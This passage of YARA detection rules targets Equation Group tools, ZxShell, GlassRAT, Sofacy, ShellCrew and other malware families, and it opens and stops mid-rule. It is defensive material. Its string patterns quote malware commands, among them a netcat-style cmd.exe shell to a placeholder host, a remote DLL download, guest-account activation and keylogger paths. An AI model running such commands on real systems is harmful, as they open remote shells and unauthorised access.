		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		super_rule = 1
		hash1 = "70db3ac2c1a10de6ce6b3e7a7890c37bffde006ea6d441f5de6d8329add4d2ef"
		hash2 = "e0f05f26293e3231e4e32916ad8a6ee944af842410c194fce8a0d8ad2f5c54b2"
		id = "7dfff868-cb66-51c0-a7c7-5cc872232b86"

	strings:
		$x1 = "Probe #2 usage: %s -i TargetIp -p TargetPort -r %d [-o TimeOut] -t Protocol -n IMailUserName -a IMailPassword" fullword ascii
		$x6 = "** RunExploit ** - EXCEPTION_EXECUTE_HANDLER : 0x%08X" fullword ascii
		$s19 = "Sending Implant Payload.. cEncImplantPayload size(%d)" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17__ELV_ESKE_ETBL_ETRE_EVFR_11
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		super_rule = 1
		hash1 = "f7fad44560bc8cc04f03f1d30b6e1b4c5f049b9a8a45464f43359cbe4d1ce86f"
		hash2 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
		hash3 = "70db3ac2c1a10de6ce6b3e7a7890c37bffde006ea6d441f5de6d8329add4d2ef"
		hash4 = "e0f05f26293e3231e4e32916ad8a6ee944af842410c194fce8a0d8ad2f5c54b2"
		hash5 = "c5e119ff7b47333f415aea1d2a43cb6cb322f8518562cfb9b90399cac95ac674"
		id = "d6848065-377b-5eda-821d-d2cc16f483cc"

	strings:
		$x1 = "Target is vulnerable" fullword ascii
		$x2 = "Target is NOT vulnerable" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17__ELV_ESKE_EVFR_RideArea2_12
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		super_rule = 1
		hash1 = "f7fad44560bc8cc04f03f1d30b6e1b4c5f049b9a8a45464f43359cbe4d1ce86f"
		hash2 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
		hash3 = "c5e119ff7b47333f415aea1d2a43cb6cb322f8518562cfb9b90399cac95ac674"
		hash4 = "e702223ab42c54fff96f198611d0b2e8a1ceba40586d466ba9aadfa2fd34386e"
		id = "63c7733c-9942-56f3-95cc-f3e72b693739"

	strings:
		$x2 = "** CreatePayload ** - EXCEPTION_EXECUTE_HANDLER" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them )
}

rule EquationGroup_Toolset_Apr17__ELV_ESKE_13
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		super_rule = 1
		hash1 = "f7fad44560bc8cc04f03f1d30b6e1b4c5f049b9a8a45464f43359cbe4d1ce86f"
		hash2 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
		id = "8bc3c47c-7357-5692-86aa-e43b40f8c1ab"

	strings:
		$x1 = "Skip call to PackageRideArea().  Payload has already been packaged. Options -x and -q ignored." fullword ascii
		$s2 = "ERROR: pGvars->pIntRideAreaImplantPayload is NULL" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 600KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17__NameProbe_SMBTOUCH_14
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		super_rule = 1
		hash1 = "fbe3a4501654438f502a93f51b298ff3abf4e4cad34ce4ec0fad5cb5c2071597"
		hash2 = "7da350c964ea43c149a12ac3d2ce4675cedc079ddc10d1f7c464b16688305309"
		id = "b3b7037b-d08e-5b32-93ec-870f8ce088ac"

	strings:
		$s1 = "DEC Pathworks TCPIP service on Windows NT" fullword ascii
		$s2 = "<\\\\__MSBROWSE__> G" fullword ascii
		$s3 = "<IRISNAMESERVER>" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them )
}

rule EquationGroup_Toolset_Apr17__ELV_ESKE_EVFR_RPC2_15
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		super_rule = 1
		hash1 = "f7fad44560bc8cc04f03f1d30b6e1b4c5f049b9a8a45464f43359cbe4d1ce86f"
		hash2 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
		hash3 = "c5e119ff7b47333f415aea1d2a43cb6cb322f8518562cfb9b90399cac95ac674"
		hash4 = "5c0896dbafc5d8cc19b1bc7924420b20ed5999ac5bee2cb5a91aada0ea01e337"
		id = "f671a10d-f0b8-5343-97b5-e60b7f2f0acf"

	strings:
		$x1 = "** SendAndReceive ** - EXCEPTION_EXECUTE_HANDLER" fullword ascii
		$s8 = "Binding to RPC Interface %s over named pipe" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17__ELV_ESKE_EVFR_16
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		super_rule = 1
		hash1 = "f7fad44560bc8cc04f03f1d30b6e1b4c5f049b9a8a45464f43359cbe4d1ce86f"
		hash2 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
		hash3 = "c5e119ff7b47333f415aea1d2a43cb6cb322f8518562cfb9b90399cac95ac674"
		id = "2749227b-13e2-5669-a557-567ebd170a2f"

	strings:
		$x1 = "ERROR: TbMalloc() failed for encoded exploit payload" fullword ascii
		$x2 = "** EncodeExploitPayload ** - EXCEPTION_EXECUTE_HANDLER" fullword ascii
		$x4 = "** RunExploit ** - EXCEPTION_EXECUTE_HANDLER" fullword ascii
		$s6 = "Sending Implant Payload (%d-bytes)" fullword ascii
		$s7 = "ERROR: Encoder failed on exploit payload" fullword ascii
		$s11 = "ERROR: VulnerableOS() != RET_SUCCESS" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and 1 of them )
}

rule EquationGroup_Toolset_Apr17__ETBL_ETRE_SMBTOUCH_17
{
	meta:
		description = "Detects EquationGroup Tool - April Leak"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
		date = "2017-04-15"
		super_rule = 1
		hash1 = "70db3ac2c1a10de6ce6b3e7a7890c37bffde006ea6d441f5de6d8329add4d2ef"
		hash2 = "e0f05f26293e3231e4e32916ad8a6ee944af842410c194fce8a0d8ad2f5c54b2"
		hash3 = "7da350c964ea43c149a12ac3d2ce4675cedc079ddc10d1f7c464b16688305309"
		id = "88bf610d-1c6e-554a-af82-46b5eb3cc6a5"

	strings:
		$x1 = "ERROR: Connection terminated by Target (TCP Ack/Fin)" fullword ascii
		$s2 = "Target did not respond within specified amount of time" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and 1 of them )
}

rule EquationGroup_scanner_output
{
	meta:
		description = "Detects output generated by EQGRP scanner.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-04-17"
		id = "a73bc98f-f7b1-5f16-bf23-1d5c9a7a371b"

	strings:
		$s0 = "# scanning ip  " ascii
		$s1 = "# Scan for windows boxes" ascii fullword
		$s2 = "Going into send" ascii fullword
		$s3 = "# Does not work" ascii fullword
		$s4 = "You are the weakest link, goodbye" ascii fullword
		$s5 = "rpc   Scan for RPC  folks" ascii fullword

	condition:
		filesize < 1000KB and 2 of them
}

rule APT_SharpTongue_JS_SharpExt_Chrome_Extension : SharpTongue
{
	meta:
		author = "threatintel@volexity.com"
		date = "2021-09-14"
		description = "A malicious Chrome browser extention used by the SharpTongue threat actor to steal mail data from a victim"
		reference = "https://www.volexity.com/blog/2022/07/28/sharptongue-deploys-clever-mail-stealing-browser-extension-sharpext/"
		hash1 = "1c9664513fe226beb53268b58b11dacc35b80a12c50c22b76382304badf4eb00"
		hash2 = "6025c66c2eaae30c0349731beb8a95f8a5ba1180c5481e9a49d474f4e1bb76a4"
		hash3 = "6594b75939bcdab4253172f0fa9066c8aee2fa4911bd5a03421aeb7edcd9c90c"
		memory_suitable = 1
		score = 85
		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
		id = "61b5176a-ff73-5fce-bc70-c9e09bb5afed"

	strings:
		$s1 = "\"mode=attach&name=\"" ascii
		$s2 = "\"mode=new&mid=\"" ascii
		$s3 = "\"mode=attlist\"" ascii
		$s4 = "\"mode=list\"" ascii
		$s5 = "\"mode=domain\"" ascii
		$s6 = "\"mode=black\"" ascii
		$s7 = "\"mode=newD&d=\"" ascii
		$mark1 = "chrome.runtime.onMessage.addListener" ascii
		$mark2 = "chrome.webNavigation.onCompleted.addListener" ascii
		$enc1 = "function BSue(string){" ascii
		$enc2 = "function BSE(input){" ascii
		$enc3 = "function bin2hex(byteArray)" ascii
		$xhr1 = ".send(\"mode=cd1" ascii
		$xhr2 = ".send(\"mode=black" ascii
		$xhr3 = ".send(\"mode=domain" ascii
		$xhr4 = ".send(\"mode=list" ascii
		$manifest1 = "\"description\":\"advanced font\"," ascii
		$manifest2 = "\"scripts\":[\"bg.js\"]" ascii
		$manifest3 = "\"devtools_page\":\"dev.html\"" ascii

	condition:
		(5 of ( $s* ) and all of ( $mark* ) ) or all of ( $enc* ) or 3 of ( $xhr* ) or 2 of ( $manifest* )
}

rule shimrat
{
	meta:
		description = "Detects ShimRat and the ShimRat loader"
		author = "Yonathan Klijnsma (yonathan.klijnsma@fox-it.com)"
		date = "20/11/2015"
		id = "21431895-1180-5552-8e82-1589992ffa1d"

	strings:
		$dll = ".dll"
		$dat = ".dat"
		$headersig = "QWERTYUIOPLKJHG"
		$datasig = "MNBVCXZLKJHGFDS"
		$datamarker1 = "Data$$00"
		$datamarker2 = "Data$$01%c%sData"
		$cmdlineformat = "ping localhost -n 9 /c %s > nul"
		$demoproject_keyword1 = "Demo"
		$demoproject_keyword2 = "Win32App"
		$comspec = "COMSPEC"
		$shim_func1 = "ShimMain"
		$shim_func2 = "NotifyShims"
		$shim_func3 = "GetHookAPIs"

	condition:
		($dll and $dat and $headersig and $datasig ) or ( $datamarker1 and $datamarker2 ) or ( $cmdlineformat and $demoproject_keyword1 and $demoproject_keyword2 and $comspec ) or ( $dll and $dat and $shim_func1 and $shim_func2 and $shim_func3 )
}

rule shimratreporter
{
	meta:
		description = "Detects ShimRatReporter"
		author = "Yonathan Klijnsma (yonathan.klijnsma@fox-it.com)"
		date = "20/11/2015"
		id = "01688b3c-2f06-518f-939d-4d65529be5ae"

	strings:
		$IpInfo = "IP-INFO"
		$NetworkInfo = "Network-INFO"
		$OsInfo = "OS-INFO"
		$ProcessInfo = "Process-INFO"
		$BrowserInfo = "Browser-INFO"
		$QueryUserInfo = "QueryUser-INFO"
		$UsersInfo = "Users-INFO"
		$SoftwareInfo = "Software-INFO"
		$AddressFormat = "%02X-%02X-%02X-%02X-%02X-%02X"
		$proxy_str = "(from environment) = %s"
		$netuserfun = "NetUserEnum"
		$networkparams = "GetNetworkParams"

	condition:
		all of them
}

rule glassRAT
{
	meta:
		author = "RSA RESEARCH"
		date = "3 Nov 2015"
		description = "Detects GlassRAT by RSA (modified by Florian Roth - speed improvements)"
		Info = "GlassRat"
		id = "7739d1f6-f16d-5599-9388-a1d89dbeb355"

	strings:
		$bin1 = {85 C0 B3 01}
		$bin3 = {68 4C 50 00 10}
		$bin4 = {68 48 50 00 10}
		$bin5 = {68 44 50 00 10}
		$hs = {CB FF 5D C9 AD 3F 5B A1 54 13 FE FB 05 C6 22}
		$s1 = "pwlfnn10,gzg"
		$s2 = "AddNum"
		$s3 = "ServiceMain"
		$s4 = "The Window"
		$s5 = "off.dat"

	condition:
		all of ( $bin* ) and $hs and 3 of ( $s* )
}

rule GlassRAT_Generic
{
	meta:
		description = "Detects GlassRAT Malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blogs.rsa.com/peering-into-glassrat/"
		date = "2015-11-23"
		score = 80
		hash1 = "30d26aebcee21e4811ff3a44a7198a5c519843a24f334880384a7158e07ae399"
		hash2 = "3bdeb3805e9230361fb93c6ffb0bfec8d3aee9455d95b2428c7f6292d387d3a4"
		hash3 = "79993f1912958078c4d98503e00dc526eb1d0ca4d020d17b010efa6c515ca92e"
		hash4 = "a9b30b928ebf9cda5136ee37053fa045f3a53d0706dcb2343c91013193de761e"
		hash5 = "c11faf7290299bb13925e46d040ed59ab3ca8938eab1f171aa452603602155cb"
		hash6 = "d95fa58a81ab2d90a8cbe05165c00f9c8ad5b4f49e98df2ad391f5586893490d"
		hash7 = "f1209eb95ce1319af61f371c7f27bf6846eb90f8fd19e8d84110ebaf4744b6ea"
		id = "d09c4a9f-15ad-56d7-b015-94f494420e98"

	strings:
		$s1 = "cmd.exe /c %s" fullword ascii
		$s2 = "update.dll" fullword ascii
		$s3 = "SYSTEM\\CurrentControlSet\\Services\\RasAuto\\Parameters" fullword ascii
		$s4 = "%%temp%%\\%u" fullword ascii
		$s5 = "\\off.dat" ascii
		$s6 = "rundll32 \"%s\",AddNum" fullword ascii
		$s7 = "cmd.exe /c erase /F \"%s\"" fullword ascii
		$s8 = "SYSTEM\\ControlSet00%d\\Services\\RasAuto" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 15MB and 5 of them
}

import "pe"

rule SUSP_ENV_Folder_Root_File_Jan23_1 : SCRIPT
{
	meta:
		description = "Detects suspicious file path pointing to the root of a folder easily accessible via environment variables"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2023-01-11"
		score = 70
		id = "6067d822-5c1b-5b86-863c-fdcfa37da665"

	strings:
		$xr1 = /%([Aa]pp[Dd]ata|APPDATA)%\\[A-Za-z0-9_\-]{1,20}\.[a-zA-Z0-9]{1,4}[^\\]/ wide ascii
		$xr2 = /%([Pp]ublic|PUBLIC)%\\[A-Za-z0-9_\-]{1,20}\.[a-zA-Z0-9]{1,4}[^\\]/ wide ascii
		$xr4 = /%([Pp]rogram[Dd]ata|PROGRAMDATA)%\\[A-Za-z0-9_\-]{1,20}\.[a-zA-Z0-9]{1,4}[^\\]/ wide ascii
		$fp1 = "perl -MCPAN " ascii
		$fp2 = "CCleaner" ascii

	condition:
		filesize < 20MB and 1 of ( $x* ) and not 1 of ( $fp* ) and not pe.number_of_signatures > 0
}

import "pe"

rule Sofacy_Oct17_1
{
	meta:
		description = "Detects Sofacy malware reported in October 2017"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html"
		date = "2017-10-23"
		hash1 = "522fd9b35323af55113455d823571f71332e53dde988c2eb41395cf6b0c15805"
		id = "6896dcf3-e422-5a40-bc1e-d1f35ae95c14"

	strings:
		$x1 = "%localappdata%\\netwf.dll" fullword wide
		$x2 = "set path = \"%localappdata%\\netwf.dll\"" fullword ascii
		$x3 = "%localappdata%\\netwf.bat" fullword wide
		$x4 = "KlpSvc.dll" fullword ascii
		$g1 = "set path = \"%localappdata%\\" ascii
		$g2 = "%localappdata%\\" wide
		$s1 = "start rundll32.exe %path %,#1a" fullword ascii
		$s2 = "gshell32" fullword wide
		$s3 = "s - %lu" fullword ascii
		$s4 = "be run i" fullword ascii
		$s5 = "ingToBinhary" fullword ascii
		$s6 = "%j%Xjs" fullword ascii
		$s7 = "if NOT exist %path % (exit)" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and ( pe.imphash ( ) == "a2d1be6502b4b3c28959a4fb0196ea45" or pe.exports ( "KlpSvc" ) or ( 1 of ( $x* ) or 4 of them ) or ( $s1 and all of ( $g* ) ) )
}

import "pe"

rule Sofacy_Oct17_2
{
	meta:
		description = "Detects Sofacy malware reported in October 2017"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html"
		date = "2017-10-23"
		hash1 = "ef027405492bc0719437eb58c3d2774cc87845f30c40040bbebbcc09a4e3dd18"
		id = "c820eab0-9b64-5718-8681-a4f515ee462b"

	strings:
		$x1 = "netwf.dll" fullword wide
		$s1 = "%s - %s - %2.2x" fullword wide
		$s2 = "%s - %lu" fullword ascii
		$s3 = "%s \"%s\", %s" fullword wide
		$s4 = "%j%Xjsf" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 90KB and ( pe.imphash ( ) == "13344e2a717849489bcd93692f9646f7" or ( 4 of them ) ) ) or ( all of them )
}

rule StreamEx_ShellCrew
{
	meta:
		description = "Detects a "
		author = "Cylance"
		reference = "https://blog.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
		date = "2017-02-09"
		score = 80
		id = "217077bb-71b7-5cbf-8adf-68a16688c415"

	strings:
		$a = "0r+8DQY97XGB5iZ4Vf3KsEt61HLoTOuIqJPp2AlncRCgSxUWyebhMdmzvFjNwka="
		$b = {34 ?? 88 04 11 48 63 C3 48 FF C1 48 3D D8 03 00 00}
		$bb = {81 86 ?? ?? 00 10 34 ?? 88 86 ?? ?? 00 10 46 81 FE D8 03 00 00}
		$c = "greendll"
		$d = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" wide
		$f = {26 5E 25 24 23 91 91 91 91}
		$g = "D:\\pdb\\ht_d6.pdb"

	condition:
		$a or $b or $bb or ( $c and $d ) or $f or $g
}

rule ShellCrew_StreamEx_1
{
	meta:
		description = "Auto-generated rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blog.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
		date = "2017-02-10"
		modified = "2022-12-21"
		hash1 = "81f411415aefa5ad7f7ed2365d9a18d0faf33738617afc19215b69c23f212c07"
		id = "26b4cac0-3f2b-5637-86f5-16b7f8afa0e6"

	strings:
		$x1 = "cmd.exe /c  \"%s\"" fullword wide
		$s3 = "uac\\bin\\install_test.pdb" ascii
		$s5 = "uncompress error:%d %s" fullword ascii
		$s7 = "%s\\AdobeBak\\Proc.dat" fullword wide
		$s8 = "e:\\workspace\\boar" fullword ascii
		$s12 = "$\\data.ini" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and 4 of them )
}

rule ShellCrew_StreamEx_1_msi
{
	meta:
		description = "Auto-generated rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blog.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
		date = "2017-02-10"
		hash1 = "8c9048e2f5ea2ef9516cac06dc0fba8a7e97754468c0d9dc1e5f7bce6dbda2cc"
		id = "8cf5dad5-0737-56bf-8cef-7bcf7e7e5a78"

	strings:
		$x1 = "msi.dll.eng" fullword wide
		$s2 = "ahinovx" fullword ascii
		$s3 = "jkpsxy47CDEMNSTYbhinqrwx56" fullword ascii
		$s4 = "PVYdejmrsy12" fullword ascii
		$s6 = "FLMTUZaijkpsxy45CD" fullword ascii
		$s7 = "afhopqvw34ABIJOPTYZehmo" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 20KB and 3 of them )
}

rule ShellCrew_StreamEx_1_msi_dll
{
	meta:
		description = "Auto-generated rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blog.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
		date = "2017-02-10"
		hash1 = "883108119d2f4db066fa82e37aa49ecd2dbdacda67eb936b96720663ed6565ce"
		hash2 = "5311f862d7c824d13eea8293422211e94fb406d95af0ae51358accd4835aaef8"
		hash3 = "191cbeffa36657ab1ef3939da023cacbc9de0285bbe7775069c3d6e18b372c3f"
		id = "56586e0b-010a-5ad5-8822-5d370475aa06"

	strings:
		$s1 = "NDOGDUA" fullword ascii
		$s2 = "NsrdsrN" fullword ascii

	condition:
		( uint16( 0 ) == 0x4d9d and filesize < 300KB and all of them )
}

rule SUSP_certificate_payload
{
	meta:
		description = "Detects payloads that pretend to be certificates"
		date = "2018/08/02"
		author = "Didier Stevens, Florian Roth"
		reference = "https://blog.nviso.be/2018/08/02/powershell-inside-a-certificate-part-3/"
		score = 50
		id = "6f1fe410-591a-5a59-a683-67cad9777dfe"

	strings:
		$re1 = "-----BEGIN CERTIFICATE-----"
		$fp1 = "replace it with the PEM-encoded root certificate"

	condition:
		uint32( 0 ) == 0x2D2D2D2D and $re1 at 0 and not uint8( 29 ) == 0x4D and not uint8( 28 ) == 0x4D and not 1 of ( $fp* )
}

rule ZxShell_Related_Malware_CN_Group_Jul17_1
{
	meta:
		description = "Detects a ZxShell related sample from a CN threat group"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blogs.rsa.com/cat-phishing/"
		date = "2017-07-08"
		hash1 = "ef56c2609bc1b90f3e04745890235e6052a4be94e35e38b6f69b64fb17a7064e"
		id = "a91e39bb-1bb3-54a8-b684-d673c445375c"

	strings:
		$x1 = "CMD.EXE /C NET USER GUEST /ACTIVE:yes && NET USER GUEST ++++++" ascii
		$x2 = "system\\cURRENTcONTROLSET\\sERVICES\\tERMSERVICE" fullword ascii
		$x3 = "\\secivreS\\teSlortnoCtnerruC\\METSYS" ascii
		$x4 = "system\\cURRENTCONTROLSET\\cONTROL\\tERMINAL sERVER" fullword ascii
		$x5 = "sOFTWARE\\mICROSOFT\\iNTERNET eXPLORER\\mAIN" fullword ascii
		$x6 = "eNABLEaDMINtsREMOTE" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 400KB and 1 of them )
}

rule ZxShell_Related_Malware_CN_Group_Jul17_2
{
	meta:
		description = "Detects a ZxShell related sample from a CN threat group"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blogs.rsa.com/cat-phishing/"
		date = "2017-07-08"
		hash1 = "204273675526649b7243ee48efbb7e2bc05239f7f9015fbc4fb65f0ada64759e"
		id = "37c1f26b-4b4f-510e-a7b7-b2afb17d6e71"

	strings:
		$u1 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01)" fullword ascii
		$u2 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.0; Windows NT %d.1; SV1)" fullword ascii
		$u3 = "User-Agent:Mozilla/5.0 (X11; U; Linux i686; en-US; re:1.4.0) Gecko/20080808 Firefox/%d.0" fullword ascii
		$u4 = "User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" fullword ascii
		$x1 = "\\\\%s\\admin$\\g1fd.exe" fullword ascii
		$x2 = "C:\\g1fd.exe" fullword ascii
		$x3 = "\\\\%s\\C$\\NewArean.exe" fullword ascii
		$s0 = "at \\\\%s %d:%d %s" fullword ascii
		$s1 = "%c%c%c%c%ccn.exe" fullword ascii
		$s2 = "hra%u.dll" fullword ascii
		$s3 = "Referer: http://%s:80/http://%s" fullword ascii
		$s5 = "Accept-Language: zh-cn" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and ( 1 of ( $x* ) or 3 of them )
}

rule ZxShell_Related_Malware_CN_Group_Jul17_3
{
	meta:
		description = "Detects a ZxShell related sample from a CN threat group"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blogs.rsa.com/cat-phishing/"
		date = "2017-07-08"
		hash1 = "2e5cf8c785dc081e5c2b43a4a785713c0ae032c5f86ccbc7abf5c109b8854ed7"
		id = "1900b861-b4a2-50b5-a639-3eb442072139"

	strings:
		$s1 = "%s\\nt%s.dll" fullword ascii
		$s2 = "RegQueryValueEx(Svchost\\netsvcs)" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 600KB and all of them )
}

rule ZxShell_Jul17
{
	meta:
		description = "Detects a ZxShell - CN threat group"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blogs.rsa.com/cat-phishing/"
		date = "2017-07-08"
		hash1 = "5d2a4cde9fa7c2fdbf39b2e2ffd23378d0c50701a3095d1e91e3cf922d7b0b16"
		id = "1b009b20-5a19-5cac-aaaf-ca61310eab9f"

	strings:
		$x1 = "zxplug -add" fullword ascii
		$x2 = "getxxx c:\\xyz.dll" fullword ascii
		$x3 = "downfile -d c:\\windows\\update.exe" fullword ascii
		$x4 = "-fromurl http://x.x.x/x.dll" fullword ascii
		$x5 = "ping 127.0.0.1 -n 7&cmd.exe /c net start %s" fullword ascii
		$x6 = "ZXNC -e cmd.exe x.x.x.x" fullword ascii
		$x7 = "(bind a cmdshell)" fullword ascii
		$x8 = "ZXFtpServer 21 20 zx" fullword ascii
		$x9 = "ZXHttpServer" fullword ascii
		$x10 = "c:\\error.htm,.exe|c:\\a.exe,.zip|c:\\b.zip\"" fullword ascii
		$x11 = "c:\\windows\\clipboardlog.txt" fullword ascii
		$x12 = "AntiSniff -a wireshark.exe" fullword ascii
		$x13 = "c:\\windows\\keylog.txt" fullword ascii

	condition:
		( filesize < 10000KB and 1 of them ) or 3 of them
}

import "pe"

rule ZXshell_20171211_chrsben
{
	meta:
		description = "Detects ZxShell variant surfaced in Dec 17"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/snc85M"
		date = "2017-12-11"
		hash1 = "dd01e7a1c9b20d36ea2d961737780f2c0d56005c370e50247e38c5ca80dcaa4f"
		id = "3bbfddb8-011a-52dd-b0c8-b35e6f740507"

	strings:
		$x1 = "ncProxyXll" fullword ascii
		$s1 = "Uniscribe.dll" fullword ascii
		$s2 = "GetModuleFileNameDll" fullword ascii
		$s4 = "$Hangzhou Shunwang Technology Co.,Ltd0" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and ( pe.imphash ( ) == "de481441d675e9aca4f20bd8e16a5faa" or pe.exports ( "PerfectWorld" ) or pe.exports ( "ncProxyXll" ) or 1 of ( $x* ) or 2 of them )
}

rule SnakeTurla_Malware_May17_1
{
	meta:
		description = "Detects Snake / Turla Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/QaOh4V"
		date = "2017-05-04"
		modified = "2023-01-06"
		hash1 = "5b7792a16c6b7978fca389882c6aeeb2c792352076bf6a064e7b8b90eace8060"
		id = "ddbbd602-b7f0-5e14-be0f-0c84bb22ddeb"

	strings:
		$s1 = "/Users/vlad/Desktop/install/install/" ascii

	condition:
		( uint16( 0 ) == 0xfacf and filesize < 200KB and all of them )
}

rule SnakeTurla_Malware_May17_2
{
	meta:
		description = "Detects Snake / Turla Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/QaOh4V"
		date = "2017-05-04"
		hash1 = "b8ee4556dc09b28826359b98343a4e00680971a6f8c6602747bd5d723d26eaea"
		id = "b3e94016-591c-5e39-b5e7-328e0761e535"

	strings:
		$s1 = "b_openssl: oops - number of mutexes is 0" fullword ascii
		$s2 = "networksetup -get%sproxy Ethernet" fullword ascii
